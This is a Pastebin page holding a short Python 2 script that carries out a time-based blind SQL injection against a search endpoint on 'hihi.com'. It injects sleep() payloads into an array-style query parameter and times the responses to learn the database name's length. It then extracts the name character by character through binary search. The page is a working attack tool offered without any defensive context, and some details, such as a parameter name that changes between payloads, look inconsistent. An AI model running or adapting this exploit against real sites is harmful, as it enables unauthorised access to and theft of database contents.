Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import requests
- import time
- url_len = "https://hihi.com/search?bien1=ABC&bien2[9999'*(select * from (select(sleep(2-(if(length(DATABASE())>%d,0,2)))))xxx)*'9999][]=16"
- r = []
- def request_url(url):
- requests.get(url)
- def exploit_payload(url):
- start = time.time()
- request_url(url)
- end = time.time() - start
- return end
- def get_result(url):
- l = 32
- h = 126
- while(l != h):
- m = (l + h)/2
- fu = url % m
- print url
- if(exploit_payload(fu)>6):
- l = m + 1
- else:
- h = m
- return h
- x = 1
- len = 0
- while True:
- u = url_len % x
- print u
- t = exploit_payload(u)
- if(t < 6):
- len = x
- break
- x += 1
- print 'Length: ' + str(len)
- for i in range(len):
- i += 1
- s1 = 'MID(DATABASE(),%s,1)' % str(i)
- s2 = "https://hihi.com/search?bien1=ABC&bienla[9999'*(select * from (select(sleep(2-(if(ORD("+s1+")>%d,0,2)))))xxx)*'9999][]=16"
- r.append(get_result(s2))
- result = ''.join([chr(i) for i in r])
- print 'Database: ' + result
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement